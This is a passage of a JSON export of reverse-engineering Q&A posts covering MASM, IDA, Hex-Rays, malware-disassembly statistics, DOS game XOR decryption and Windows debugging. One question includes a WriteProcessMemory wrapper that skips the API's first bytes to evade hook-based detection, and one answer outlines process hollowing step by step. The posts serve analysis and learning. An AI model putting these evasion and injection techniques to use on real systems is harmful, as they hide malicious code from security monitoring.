        "Answer": "<p>Masm uses 0 and 1 as the address constants is: you told it to do so because you told it to use the offset in the structure, NOT the memory location. And indeed, the field \"first\" sits at offset 0 and occupies a byte. This makes the offset for \"second\" equal to 1.\nYou probably wanted to access the <strong>instantiation</strong> of your structure, which you placed at the address called Initializedstructure. In this case, you would have to use</p>\n\n<pre><code>mov eax, [Initializedstructure].First\n</code></pre>\n\n<p>to access the field \"first\" of that Initializedstructure.\nAnd, by the way, should you try to access such structures using vector instructions (SSE, AVX), Masm frequently looses it altogether and you need to additionally specify the operand size, such as</p>\n\n<pre><code>vmovdqu xmm0, xmmword ptr [Initializedstructure].Some128bitField\n</code></pre>\n\n<p>Hope it helps.</p>\n"
    },
    {
        "Id": "8384",
        "CreationDate": "2015-03-04T22:01:56.210",
        "Body": "<p>Someone said to do something like this to avoid scans for WPM calls: </p>\n\n<pre><code>__declspec(naked) BOOL WINAPI SafeWriteProcessMemory(HANDLE hProcess,\n    LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize,\n    SIZE_T *lpNumberOfBytesRead)\n{\n    __asm\n    {\n            mov edi, edi\n            push ebp\n            mov ebp, esp\n            pop ebp\n            mov eax, WriteProcessMemory\n            add eax, 6\n            jmp eax\n    }\n}\n</code></pre>\n\n<p>I put it in a program and debugged it in olly. I looked at <code>kernel32.WriteProcessMemory</code>. We're using the <code>add eax, 6</code> to jump from here:</p>\n\n<pre><code>MOV EDI,EDI                              ; BOOL kernel32.WriteProcessMemory(hProcess, ...)\nPUSH EBP\nMOV EBP,ESP\nPOP EBP\nJMP &lt;JMP.&amp;API-MS-Win-Core-Memory-L1-1-0. ; Jump to KERNELBASE.WriteProcessMemory\n</code></pre>\n\n<p>To there. Effectively skipping over the instructions between the two. We're executing those instructions in our own call. But I don't understand why those instructions are being executed. We're pushing <code>EBP</code> onto the stack, moving <code>ESP</code> into <code>EBP</code>, then restoring <code>EBP</code> from the stack. That shouldn't actually be doing anything.</p>\n\n<p>I debugged it instruction-by-instruction, and still can't figure out why it's being done.</p>\n\n<p>Does it have something to do with Windows' useless <code>mov edi,edi</code>s at the beginning of functions to allow jump patching?</p>\n",
        "Title": "Why does WriteProcessMemory in kernel32.dll do this? (ASM)",
        "Tags": "|windows|assembly|",
        "Answer": "<p>This is the \"stolen bytes\" technique, where the first few bytes of the function are copied to a remote location and executed from there, then the original function is called from the location after the bytes that were copied.</p>\n\n<p>The purpose of skipping the first few bytes of the function allows you to call the function body without being \"detected\".  That is, any code which detoured the function at exactly the start would be bypassed.</p>\n\n<p>In your example, the EBP manipulation is meaningless.  Those instructions exist in the original function in order to provide a familiar signature for routines that, for example, detour the code (but which is presumably broken by also including the hot-patching support).  Note that the POP instruction did not exist in that location before Windows 7, with the introduction of the kernelbase.dll.  Previously, the real function body would have followed the MOV instruction.</p>\n"
    },
    {
        "Id": "8397",
        "CreationDate": "2015-03-06T10:55:28.563",
        "Body": "<p>Given a disassembly line in IDA Pro such as</p>\n\n<pre><code>.text:0040255B      call    sub_407C10\n</code></pre>\n\n<p>Am I right to assume that analyzing the belonging address using</p>\n\n<pre><code>idautils.XrefsFrom(0x0040255B)\n</code></pre>\n\n<p>always returns an xref of type 'Code_Far_Call' (xref.type 16) or 'Code_Near_Call' (xref.type 17)\nand not\nan xref of type \"Code_Near_Jump\" or \"Code_Far_Jump\"?</p>\n\n<p>In other words, can function call destination addresses always be identified by checking if the xref.type is of type 16 or 17 and then taking the value in xref.to?</p>\n\n<p>Of course in addition to the Call/Jump xref, the above statement always returns an xref of type 21 (the ordinary control flow).</p>\n\n<p>A list of possible xref types can be found here: <a href=\"https://code.google.com/p/idapython/source/browse/trunk/python/idautils.py\" rel=\"nofollow\">https://code.google.com/p/idapython/source/browse/trunk/python/idautils.py</a></p>\n\n<p>What is the difference between a Code_Far_Call xref and a Code_Near_Call xref anyway?</p>\n\n<p>Thanks for your help!</p>\n",
        "Title": "Function calls: xref.type always 'Code_Far_Call' or 'Code_Near_Call'?",
        "Tags": "|ida|disassembly|assembly|idapython|python|",
        "Answer": "<p>This depends a bit on your compiler, Actually, as you seem to be using a 32 bit OS, i wouldn't expect any far calls.</p>\n\n<p>Near calls and Far calls are relicts from 16-bit area, where a call within the same 64 kbyte segment, that only changes <code>IP</code>, but not <code>CS</code>, was named a <code>near call</code>, and a call to anywhere in the address space, that changes <code>CS</code> <em>and</em> <code>IP</code>, was named a <code>far call</code>. Correspondingly, there were two different instructions <code>ret</code> and <code>retf</code> to return from the subroutine, that would pop just <code>IP</code>, or <code>CS</code> and <code>IP</code> from the stack.</p>\n\n<p>With the introduction of protected mode, and 32 bit segments, management of segment registers became the responsibility of the operating system, and user mode programs stopped fiddling with them. So you shouldn't see any far calls, or <code>retf</code> instructions, anymore - unless you're disassembling the parts of the operating system that handle task switching, possibly.</p>\n\n<p>You might see the occasional jump to a function, however (ref type 19), depending on your compiler. If the compiler optimizes tail recursion, it will replace the last \"call self / ret\" instruction with a \"jmp self\" instruction, and if parameter types match, it might replace a \"call someotherfunction / ret\" with \"jmp someotherfunction\" as well. I've seen this a lot in ARM code, and 64 bit Intel code, but can't remember seeing it in 32 bit compiled Intel code at the moment. However, i haven't worked with 32 bit Intel assembly much, recently, so there might be some newer compilers that do this without me noticing.</p>\n"
    },
    {
        "Id": "8400",
        "CreationDate": "2015-03-06T18:06:29.720",
        "Body": "<p>I have ~20,000 .asm files from IDA pro output via hex-rays.</p>\n\n<p>These were all created from known malware, and all from 32bit Windows Portable Executables.</p>\n\n<p>I <strong>do not</strong> have the original executables, just the disassembled output(.asm) files.  </p>\n\n<ul>\n<li><p>What I am trying to obtain is a list of any possible mnemonics (i.e. add, xor, jump, etc..) ,that IDA could output into an .asm file</p>\n\n<p>With this list I will be attempting a machine learning/ malware classification task using grep (or similar)  to compile statistics.</p></li>\n</ul>\n\n<p>Inspecting them visually I have hand crafted a list of 30 or so ( jmp, push,mov, call, lea.. etc etc) with help from this site, which list common instructions <a href=\"http://www.strchr.com/x86_machine_code_statistics\" rel=\"nofollow noreferrer\">http://www.strchr.com/x86_machine_code_statistics</a>.</p>\n\n<p>Are there any clues in the headers of these files which could assist in defining possible mnemonics ? Are these consistent across platforms or specific to some attribute of the original file?</p>\n\n<p>I searched IDA pros documentation, and it seem all the functionality for this is available during the disassembling process, but I am stuck with the .asm files to parse.</p>\n\n<p>similar questions with no help.</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/2632/parsing-ida-pro-asm-files\">Parsing IDA Pro .asm files</a></p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/2493/ida-pro-list-of-functions-with-instruction\">IDA Pro List of Functions with Instruction</a></p>\n\n<p><strong><em>sample .asm Header</em></strong></p>\n\n<pre><code>       ;\n       ; +-------------------------------------------------------------------------+\n       ; |   This file has been generated by The Interactive Disassembler (IDA)    |\n       ; |       Copyright (c) 2013 Hex-Rays, &lt;support@hex-rays.com&gt;       |\n       ; |          License info:                              |\n       ; |                Microsoft                |\n       ; +-------------------------------------------------------------------------+\n       ;\n\n       ; ---------------------------------------------------------------------------\n       ; Format      : Portable executable for 80386 (PE)\n       ; Imagebase   : 400000\n       ; Section 1. (virtual address 00001000)\n       ; Virtual size              : 0002964D ( 169549.)\n       ; Section size in file          : 00029800 ( 169984.)\n       ; Offset to raw data for section: 00000400\n       ; Flags 60000020: Text Executable Readable\n       ; Alignment     : default\n       ; OS type     :  MS Windows\n       ; Application type:  Executable 32bit\n\n               include uni.inc ; see unicode subdir of ida for info on unicode\n\n               .686p\n               .mmx\n               .model flat\n\n       ; ===========================================================================\n</code></pre>\n\n<p>sample from inside</p>\n\n<pre><code>.text:00401080                             ; ---------------------------------------------------------------------------\n.text:00401081 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC            align 10h\n.text:00401090 8B 44 24 10                             mov     eax, [esp+10h]\n.text:00401094 8B 4C 24 0C                             mov     ecx, [esp+0Ch]\n.text:00401098 8B 54 24 08                             mov     edx, [esp+8]\n.text:0040109C 56                                  push    esi\n.text:0040109D 8B 74 24 08                             mov     esi, [esp+8]\n.text:004010A1 50                                  push    eax\n.text:004010A2 51                                  push    ecx\n.text:004010A3 52                                  push    edx\n.text:004010A4 56                                  push    esi\n.text:004010A5 E8 18 1E 00 00                              call    _memcpy_s\n.text:004010AA 83 C4 10                                add     esp, 10h\n.text:004010AD 8B C6                                   mov     eax, esi\n.text:004010AF 5E                                  pop     esi\n.text:004010B0 C3                                  retn\n.text:004010B0                             ; ---------------------------------------------------------------------------\n</code></pre>\n\n<p>Thanks for any pointers or clues as to the best way to approach this and my apologies if this isn't suitable for this forum.</p>\n",
        "Title": "Large number of IDA .ASM files, need list of potential mnemonics",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>As I'm working with the malware samples provided by <a href=\"https://www.kaggle.com/c/malware-classification/data\" rel=\"nofollow noreferrer\">kaggle</a> too, I faced the same problem. I found a solution by the processing in two steps, which extracts all the <code>mnemonics</code> used in the complete set.</p>\n\n<p><strong><em>Note:</strong> As I'm not finished with my work yet, I'm not able to post the full script. The real implementation is realized with threading and the process takes roughly one hour for all 9 families. Addtionally the solution is not perfect and with good performance - rather a dirty fix.</em></p>\n\n<hr>\n\n<p><strong>1. Step:</strong> Roughly cleaning the <code>IDA</code> listing format of an <code>INPUT.ASM</code> into an <code>OUTPUT.ASM</code> (extraction from my script; see the discussion for this step <a href=\"https://reverseengineering.stackexchange.com/questions/13192/convert-ida-listings-to-assembly-without-using-ida-non-free\">here</a>)</p>\n\n<p><strong><em>Note:</strong> It should be mentioned that ignore <code>dd</code> like instructions. Additionally I keep the subroutines and basic blocks delimeted by <code>====</code> and <code>-----</code>.</em></p>\n\n<pre>\ngrep -E '^.text:*' INPUT.ASM | grep -v align | grep -E '^.{10,15}[0-9A-F]{2} *|=======================|-----------------------------------' | sed 's/\\t/           /g' | grep -v ' dq ' | grep -v ' dd ' | grep -v ' db ' | grep -v ' dw ' | cut -c100-200 |  sed -e 's/^[ \\t]*//' | tr -s [:blank:] | cut -d ';' -f1 > OUTPUT1.ASM\n</pre>\n\n<hr>\n\n<p><strong>2. Step:</strong> Process the cleaned <code>OUTPUT.ASM</code> in python (extraction from my script)</p>\n\n<pre>\n#!/usr/bin/python\nmneLocal = set()\nwith open('OUTPUT.ASM') as oFile:\n    for line in oFile.readlines():\n        mne = line.split(\" \")[0]\n        if mne[0] != '-' and mne[0] != '=' and len(mne)&le;6 and not mne[0].isdigit() and mne.islower():\n            mneLocal.add(mne)\nprint(mneLocal)\n</pre>\n\n<hr>\n\n<p><strong>3. Output:</strong> Applied on the <code>Ramnit</code> dataset</p>\n\n<pre>\nset(['jns', 'fbstp', 'jnp', 'rol', 'psrlw', 'fld1', 'jnz', 'movd', 'imul', 'lds', 'jnb', 'psrlq', 'cdq', 'psrld', 'pand', 'pfmax', 'ror', 'fxch', 'jno', 'dt', 'fisub', 'movq', 'cmps', 'arpl', 'pi2fd', 'pfmin', 'cld', 'nop', 'pf2id', 'maxss', 'add', 'jcxz', 'adc', 'fadd', 'pf2iw', 'fistp', 'setbe', 'aad', 'maxps', 'fmulp', 'movzx', 'fdivp', 'fdivr', 'femms', 'not', 'repe', 'cmc\\r\\n', 'svts', 'repne', 'shr', 'pfadd', 'sgdt', 'mulps', 'leave', 'div', 'mulpd', 'shl', 'btc', 'cmp', 'rcpps', 'psubd', 'psubb', 'bts', 'btr', 'loope', 'jle', 'pandn', 'fist', 'out', 'fstcw', 'cbw\\r\\n', 'xor', 'sub', 'neg', 'rep', 'lddqu', 'jge', 'movs', 'pfrcp', 'fdiv', 'jecxz', 'xchg', 'mul', 'pavgb', 'lea', 'ficom', 'pfsub', 'jz', 'addpd', 'jp', 'subsd', 'js', 'bt', 'fidiv', 'daa\\r\\n', 'jo', 'clc\\r\\n', 'lods', 'jg', 'ja', 'jb', 'addps', 'jl', 'cmovz', 'movsd', 'cld\\r\\n', 'xorpd', 'les', 'cmovl', 'subss', 'movsx', 'xlat', 'cmova', 'cmovb', 'nop\\r\\n', 'sbb', 'or', 'cmovg', 'shrd', 'fsub', 'por', 'bound', 'pop', 'setnb', 'fmul', 'pabsw', 'subps', 'minsd', 'minss', 'sti\\r\\n', 'xadd', 'cdq\\r\\n', 'setnl', 'retf', 'faddp', 'retn', 'rcr', 'rcl', 'pslld', 'call', 'setnz', 'das\\r\\n', 'aas\\r\\n', 'setns', 'setnp', 'sldt', 'ptest', 'fcomi', 'divps', 'jmp', 'rcpss', 'ffree', 'lgdt', 'pfacc', 'utes', 'shld', 'fcomp', 'fsave', 'psraw', 'aam', 'subpd', 'fstsw', 'psrad', 'pxor', 'fsubp', 'fsubr', 'fldcw', 'dec', 'fld', 'loop', 'and', 'addsd', 'cmovs', 'fldz', 'psubq', 'sal', 'int', 'lock', 'andpd', 'in', 'fucom', 'ud2\\r\\n', 'addss', 'fild', 'sar', 'scas', 'psllw', 'andps', 'bswap', 'inc', 'mulss', 'paddd', 'std\\r\\n', 'paddb', 'psubw', 'stc\\r\\n', 'idiv', 'psllq', 'paddw', 'cli\\r\\n', 'mulsd', 'paddq', 'test', 'setp', 'fiadd', 'hnt', 'orpd', 'enter', 'minps', 'bsr', 'mov', 'orps', 'fstp', 'xorps', 'setle', 'bsf', 'fo', 'pfmul', 'movss', 'setb', 'aaa\\r\\n', 'setl', 'divsd', 'fimul', 'seto', 'fcom', 'hlt\\r\\n', 'jbe', 'fst', 'divss', 'sets', 'push', 'pavgw', 'setz'])\n</pre>\n"
    },
    {
        "Id": "8406",
        "CreationDate": "2015-03-07T07:23:45.287",
        "Body": "<p>I am attempting to amend some strings in an old DOS game (FIFA International Soccer), specifically the names of players.</p>\n\n<p>In the past it hasn't been too hard to pull off such a task on post-DOS games as either the strings are easy to track down in the executable or a data file.  However, for this DOS game I am stuck.</p>\n\n<p>I have scanned through the game files and the executable with a hex-editor but cannot find the strings.  The game includes a <code>english.dat</code> file which does contain readable localised strings.  However, this file only contains names for in game headers and menu options as opposed to the player names I am seeking.  The other files consist of localised strings for other languages, graphics and sounds.</p>\n\n<p>I have used a debug build of DOSBOX to perform a memory dump using the following command:</p>\n\n<pre><code>memdumpbin 180:0 1000000\n</code></pre>\n\n<p>I got the command from here: <a href=\"http://www.vogons.org/viewtopic.php?t=9635\">http://www.vogons.org/viewtopic.php?t=9635</a></p>\n\n<p>In the memory dump I <strong>can</strong> find the strings I wish to change.</p>\n\n<p>What is the best way of linking this information to find the source of the strings?  I assume that these strings are somehow encrypted or compressed in the executable, although it could be in another obscure game file.  If the strings are compressed/encrypted perhaps there is a common method for pulling this data out of the executable.</p>\n\n<p>I have IDA5 (free version) installed and would be happy using this as part of process.  My operating system is Windows 8 / 64 bit.</p>\n\n<p>Also, to be clear - I want to modify the strings at source (i.e. in the file) and not in memory.</p>\n",
        "Title": "How can I find the source of a string in an old DOS game?",
        "Tags": "|disassembly|debugging|strings|dos|",
        "Answer": "<p>This program uses the PharLap DOS extender, as can be seen in its MZ header. The 32-bit executable program starts at offset <code>18A0</code>, per \"offset within header of relocation table\" (see <a href=\"http://www.program-transformation.org/Transform/PcExeFormat\">http://www.program-transformation.org/Transform/PcExeFormat</a>), and at that position you can see the correct signature <code>P3</code>. According to the header info, the executable's length is <code>0x95851</code>, which is another hint this is correct. Near the end of this part, starting at <code>18A0</code>, you can see a text string  \"Hello EA\", and at the next 32-byte \"page\" the signature <code>MZ</code> that indicates another executable is embedded. So this large part must contain the main executable.</p>\n\n<p>Browsing the file with a simple hex editor at my preferred width of 16 hex characters, I noticed a recurring pattern when doing page-downs (a good way to get a 'sense' of what sort of data a file contains). I saw the pattern repeated every 2 lines, and when I set the display width to 32, the pattern was evident. Executable formats always start with a fixed header, and are usually followed by lots of zeroes for padding, so I suspected the repeating pattern may be the XOR key. A simple C program confirmed this; I did not know where to start with decoding but the first non-all-zeroes multiple of 32 seemed a good guess: offset <code>0x1AA0</code>. </p>\n\n<p>Decoding from there proved the hunch to be correct:</p>\n\n<pre><code>00000 : Y...r9..n3.&gt;..-.A@I.7P........h4..a\"1.P(s.......x. rG..f...X.+..\n00040 : ..a|D.P(.b..A...x......f3..F..h4....a.P(...........o7..f3..F2...\n00080 : .@@@@@@...@@BLASTER=@ULTRASND=@GOLD=@mvsound.sys@DEVICEdevice@@@\n000C0 : @@@@@@@@@@@.......ULTRAMID@@@@@@@@@@@@@@@ ..@.@@@@@@.........@.@\n00100 : .@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@@.@@@@..@@...@@@..@@......&amp;...\n00140 : ./....8....C....N....X...@c.@@ m....y...................C.......\n00180 : .PCSPKR.ADV@MT32MPU.ADV@ADLIB.ADV@ADLIBG.ADV@SBFM.ADV@SBFM.ADV@S\n001C0 : BP1FM.ADV@SBP2FM.ADV@PASFM.ADV@PASOPL.ADV@TANDY.ADV@GF1MIDI.ADV@\n00200 : CUST_MID.ADV@SBP2FM.ADV@SBAWE32.ADV@@@@ALGDIG.ADV@SBDIG.ADV@SBDI\n00240 : G.ADV@SBPDIG.ADV@SBPDIG.ADV@PASDIG.ADV@PASDIG.ADV@@GF1DIGI.ADV@C\n(etc.)\n</code></pre>\n\n<p>so the next step was scroll down to near the end of this part and see what was there. Disaster! Rather than readable texts, all I saw was random data -- yet still with clear patterns.</p>\n\n<p>But 'an executable' is not one contiguous long chunk of data. It's common to see it divided up into separate sections for \"executable code\", \"initialized data\", \"uninitialized data\", \"relocations\" and so on. The sections all start at an aligned address when loaded into memory, but not necessarily in the file itself, or with the same 'memory page' size. Therefore, it may be possible that the XOR encryption restarts at the start of new section. The PharLap header should contain information on where each section starts and ends (and if you are going to attempt to adjust the program, you should look into this), but to confirm the XOR key is the same all I had to do is adjust the starting position. Starting one position further, no success, but 2 positions further on I noticed this piece of data:</p>\n\n<pre><code>890C0 : B.@.L.@^W.@.a.@^l.@.v.@^..@...@ @ @ @ @ @ @ @~FIFA International\n89100 :  Soccer@ @PC Version by@~The Creative Assembly@ @~Lead Programme\n89140 : r@ @Tim Ansell@ @ @ @~Programmers@ @Adrian Panton@Clive Gratton@\n89180 :  @ @~Lead Artist@ @Will Hallsworth@ @ @ @~Additional Artwork@ @A\n891C0 : lan Ansell@ @ @ @~Original Music@Composed, Produced@and Performe\n89200 : d by@Ray Deefholts@for ~HFC Music@ @Additional Drum@Programming \n89240 : and@Assistance@ @Tim Ansell@ @~Sound Effects@ @Bill Lusty@ @ @ @\n89280 : ~Producer@ @Kevin Buckner@ @ @ @~Associate Producer@ @Nick Golds\n(etc.)\n</code></pre>\n\n<p>That was the proof I needed: the data section <em>does</em> use the same XOR key. Next: testing all possibilities from 0 to 31 and see if something turns up. Only at +30 that turned out to work, just as I was going to give up:</p>\n\n<pre><code>782C0 : ..@...@,..@..Algeria@Ali Mehdaoui Igail@Mohammed Said@Abdel Dahb\n78300 : i@Hamid Ahkmar@Nagar Baltuni@Omar Mahjabi@Ali Cherif@Hamar Mahbo\n78340 : ud@Khered Adjali@Imahd Tasfarouk@Alamar Sahid@Mahmar Ahboud@Akha\n78380 : r Binnet@Mouhrad Dahlib@Mahied Amruk@Lakhar Diziri@Amaar Azir@Mu\n783C0 : stafa Farai@Akmar Bahoud@Ahmad Said@Taraki Aziz@Argentina@Alfio \n(etc.)\n</code></pre>\n\n<p>So each individual section in the executable is encrypted with a 32-byte XOR key; this XOR key is the same for all <em>sections</em>; it starts a-new per section.</p>\n\n<p>The C program below will decrypt the entire file and you have to adjust the starting position manually. To edit the file, you have to:</p>\n\n<ol>\n<li>Read up on PharLap's sections.</li>\n<li>Decrypt each section individually.</li>\n<li>Write all into a new file.</li>\n<li>Adjust what you want.</li>\n<li>Encrypt the sections again (it's a XOR key, so this uses the exact same algorithm).</li>\n<li>Copy the encrypted file back into the main executable.</li>\n</ol>\n\n<p>A note on #4: you mentioned changing the names of the players. Since it's a zero-terminated list of names, you can assume there is a list of pointers <em>to</em> these names somewhere else. That means you can only change the individual <em>characters</em> of a name -- not make it longer. If you want to adjust all names freely, you must find the list of pointers and adjust that as well.</p>\n\n<hr>\n\n<p>(Preliminary updates)</p>\n\n<ol>\n<li><p>The XOR encoding does not use sections. Instead, it seems like every block starts with a word determining its length, and possibly 1 or 2 next words (possibly (again) to set the XOR key starting position). Not conclusive so far.</p></li>\n<li><p>Executables are <em>abundant</em> with zeroes. If you count the number of zeroes in each 32-byte chunk, XORed against all 32 possible positions, and print out the XOR position with the highest number of them, you can see successive lists of the same 'best' guess. That shows there are longer and shorter sections XORed with the same key and may help determining the length algorithm.</p></li>\n</ol>\n\n<hr>\n\n\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nunsigned char encrypt[32] = {\n    0x23, 0x91, 0xC8, 0xE4, 0x72, 0x39, 0x9C, 0xCE,\n    0x67, 0x33, 0x99, 0xCC, 0xE6, 0x73, 0xB9, 0x5C,\n    0x2E, 0x17, 0x8B, 0x45, 0xA2, 0x51, 0xA8, 0x54,\n    0x2A, 0x95, 0xCA, 0x65, 0x32, 0x19, 0x8C, 0x46\n};\n\nint main(int argc, char *argv[])\n{\n    FILE *f;\n    int i, c, d = 0;\n\n    f = fopen (\"../Downloads/fifa/fifa.exe\", \"rb\");\n    if (!f)\n    {\n        printf (\"yeah no such file\\n\");\n        return 0;\n    }\n\n    /* reasonable assumption for start: */\n    fseek (f, 0x1aa0, SEEK_SET);\n    /* adjust per section! this position is valid for the names only */\n    fseek (f, 30, SEEK_CUR);\n    c = 0;\n    printf (\"%05X : \", d);\n    do\n    {\n        d++;\n        i = fgetc (f);\n        if (i == EOF) break;\n        i ^= encrypt[c &amp; 31];\n        if (i &gt;= ' ' &amp;&amp; i &lt;= '~') putchar (i); else if (i) putchar ('.'); else putchar ('@');\n        if (++c &gt;= 64)\n        {\n            c = 0;\n            printf (\"\\n\");\n            printf (\"%05X : \", d);\n        }\n    } while (d &lt; 0x95851);\n    fclose (f);\n\n    return 0;\n}\n</code></pre>\n"
    },
    {
        "Id": "8410",
        "CreationDate": "2015-03-07T15:15:35.507",
        "Body": "<p>Well, I've got an function that the pseudo code looks like: </p>\n\n<pre><code>void d4l_auxadc_cali_unlocked_ioctl()\n{\n  unsigned int v0; // r1@1\n  unsigned int v1; // r7@1\n  ...\n</code></pre>\n\n<p>However, I am aware that the definition of the function is as follow:</p>\n\n<pre><code>int d4l_auxadc_cali_unlocked_ioctl(void* a1, unsigned long a2, unsigned long a3)\n</code></pre>\n\n<p>So I tell the decompiler what I know by using the \"Set Item Type\", and here is what I got:</p>\n\n<pre><code>int __fastcall d4l_auxadc_cali_unlocked_ioctl(void *a1, unsigned __int32 a2, unsigned __int32 a3)\n{\n  unsigned int v3; // r1@1\n  unsigned int v4; // r7@1\n</code></pre>\n\n<p>The problem is, the local variable \"v3\" is actually as same as the function argument \"a2\", but the decompiler failed to connect them together.</p>\n\n<p>I've tried to map \"v3\" to \"a2\" by using \"Map to another variable\", but I am only allow to do the mapping with \"v4\", \"v5\" ...</p>\n\n<p>What can I do now ... ?</p>\n\n<p>And BTW, does anyone know the meaning of \"@1\" as a part of \"r1@1\" ? </p>\n\n<p>The head of assembly codes is as follow. It seems that none of them modify the r1 register, so I don't know why the compile chooses to create a different variable.</p>\n\n<pre><code>ROM:C04C54E8                 MOV             R12, SP\nROM:C04C54EC                 STMFD           SP!, {R4-R7,R11,R12,LR,PC}\nROM:C04C54F0                 SUB             R11, R12, #4\nROM:C04C54F4                 STR             LR, [SP,#0x1C+var_20]!\nROM:C04C54F8 ; 25:   d4l___gnu_mcount_nc();\nROM:C04C54F8                 BL              d4l___gnu_mcount_nc\nROM:C04C54FC ; 28:   d4l_mutex_lock(&amp;unk_C0D661A4);\nROM:C04C54FC                 LDR             R0, =unk_C0D661A4 ; void *\n                             //So far, none of the codes have modified r1, so why the compiler chooses to create a v3 ?\nROM:C04C5500 ; 26:   v4 = v3;\nROM:C04C5500                 MOV             R7, R1\nROM:C04C5504 ; 27:   v6 = v5;\nROM:C04C5504                 MOV             R4, R2\nROM:C04C5508                 BL              d4l_mutex_lock\n                             //Note that d4l_mutex_lock only takes one argument.\nROM:C04C550C ; 29:   if ( v4 == 1074031362 )\nROM:C04C550C                 LDR             R3, =0x40046B02\nROM:C04C5510                 LDR             R6, =unk_C0D661A4\nROM:C04C5514                 CMP             R7, R3\nROM:C04C5518                 LDR             R5, =0xC0E748B4\nROM:C04C551C                 BEQ             loc_C04C55EC\n</code></pre>\n",
        "Title": "How to map a function argument to local variable?",
        "Tags": "|arm|hexrays|local-variables|arguments|",
        "Answer": "<p>The @1 part should be the instruction number within the assembly where the variable is defined.</p>\n\n<p>For the rest of your question, you'll probably have to look at the assembly code. r1 is the register to pass the second argument on an ARM processor all right, but a function call doesn't have to preserve its arguments, so the compiler is allowed to use r1 for something else once it doesn't need the argument (a2) anymore. I'd assume the assembly modifies r1 somewhere, which makes it different from a2, so the decompiler chooses to create a different variable name for it instead of producing a (possibly confusing) assignment to a2.</p>\n\n<p>If your function calls other functions, it will even need to overwrite r0..r3 (depending on the number of arguments to that function), so most code i've seen saves the arguments to the stack, or some other register. If your r1 doesn't get saved anywhere (because it's just needed at the start of your function and never again), this might be the reason why the decompiler doesn't want to assign a variable name, as well.</p>\n\n<p>To get a definite answer, i think you'd have to ask your question on the hex-rays forum and include the disassembled code, they tend to have excellent support there.</p>\n"
    },
    {
        "Id": "8415",
        "CreationDate": "2015-03-08T11:21:44.690",
        "Body": "<p>Using tools like strace I can figure out the signals a program receives as it executes, regardless of whether or not signal handlers for those signals have been defined.</p>\n<p>[EDIT]\nIn order to do the same on Windows I'm following what's mentioned <a href=\"https://docs.microsoft.com/en-us/archive/blogs/dau-blog/how-to-capture-exceptions-in-process-monitor-traces-using-pocdump\" rel=\"nofollow noreferrer\">here</a>. I tested it by having a test process sleep at the start for about 20 seconds, then crash by jumping to 0x41414141. As it sleeps I attach procdump.exe to the process and then monitor the exceptions in procmon.exe. Is there a way I can do this without the sleep? I tried running it from OllyDbg and then attaching procdump.exe but the message would say that the process is already being debugged.</p>\n<p>Any advice on how I could proceed?</p>\n",
        "Title": "Monitoring Exceptions raised by an executable",
        "Tags": "|windows|linux|seh|exception|",
        "Answer": "<p>You can just use the <code>-x</code> command line argument for <a href=\"https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx\" rel=\"nofollow\">ProcDump</a>:</p>\n\n<blockquote>\n  <p><code>-x</code>  Launch the specified image with optional arguments. If it is a Store Application or Package, ProcDump will start on the next\n  activation (only).</p>\n  \n  <p>...</p>\n  \n  <p>Launch a process and then monitor it for exceptions:</p>\n  \n  <p><code>C:\\&gt;procdump -e 1 -f \"\" -x c:\\dumps consume.exe</code></p>\n</blockquote>\n"
    },
    {
        "Id": "8422",
        "CreationDate": "2015-03-09T09:45:01.020",
        "Body": "<p>How do I go into the thread function (so I can do step by step tracing), knowing only the handle to the thread. I am using OllyDbg for tracing and the thread is created through the API <code>ZwCreateProcess()</code>. However, the documentation that I have seen for this API does not contain the creation flags and pointer to the defined function which it will execute, which I both need.</p>\n\n<p>Is there a way to go into the thread function, knowing only the thread handle? Also, are there other ways to create suspended threads aside from <code>CreateThread()</code> and <code>CreateRemoteThread()</code>?</p>\n",
        "Title": "How to go into thread function knowing only the thread handle",
        "Tags": "|ollydbg|debugging|thread|",
        "Answer": "<p>Based on provided information I suspect that the used method here is Dynamic forking of a process or as it also know process hollowing. The idea is to execute some arbitrary process in suspended state and replace its \"guts\" with the contents of another executable image. In general the idea could be implemented as following (based on <em>Dynamic forking</em> by Tan Chew Keong, 2004):</p>\n\n<ol>\n<li>Use the <code>CreateProcess</code> API with the <code>CREATE_SUSPENDED</code> parameter to create a suspended process from any EXE file. (Call this the first EXE).</li>\n<li>Call <code>GetThreadContext</code> API to obtain the register values (thread context) of the suspended process. The EBX register of the suspended process points to the process's PEB. The EAX register contains the entry point of the process (first EXE).</li>\n<li>Obtain the base-address of the suspended process from its PEB, i.e. at [EBX+8]</li>\n<li>Load the second EXE into memory (using ReadFile) and perform the neccessary alignment manually. This is required if the file alignment is different from the memory alignment</li>\n<li>If the second EXE has the same base-address as the suspended process and its image-size is &lt;= to the image-size of the suspended process, simply use the <code>WriteProcessMemory</code> function to write the image of the second EXE into the memory space of the suspended process, starting at the base-address.</li>\n<li>Otherwise, unmap the image of the first EXE using <code>ZwUnmapViewOfSection</code> (exported by ntdll.dll) and use VirtualAllocEx to allocate enough memory for the second EXE within the memory space of the suspended process. The <code>VirtualAllocEx</code> API must be supplied with the base-address of the second EXE to ensure that Windows will give us memory in the required region. Next, copy the image of the second EXE into the memory space of the suspended process starting at the allocated address (using <code>WriteProcessMemory</code>).</li>\n<li>If the unmap operation failed but the second EXE is relocatable (i.e. has a relocation table), then allocate enough memory for the second EXE within the suspended process at any location. Perform manual relocation of the second EXE based on the allocated memory address. Next, copy the relocated EXE into the memory space of the suspended process starting at the allocated address (using <code>WriteProcessMemory</code>).</li>\n<li>Patch the base-address of the second EXE into the suspended process's PEB at [EBX+8].</li>\n<li>Set EAX of the thread context to the entry point of the second EXE.</li>\n<li>Use the SetThreadContext API to modify the thread context of the suspended process.</li>\n<li>Use the ResumeThread API to resume execute of the suspended process.</li>\n</ol>\n\n<p>So, to answer your question I firstly suggest to verify that this indeed happens. Secondly, if it does you can do the following to break on the new created thread entry point. The proposed way is not the only one, but IMHO will be easy done taking into account your relatively small experience in RE/executable analysis:</p>\n\n<ul>\n<li><p>Check the <a href=\"http://www.rohitab.com/discuss/topic/35564-win32-forking/\" rel=\"nofollow\">PoC</a> to actually get the full understanding of the whole process.</p>\n\n<ol>\n<li>Place BP on <a 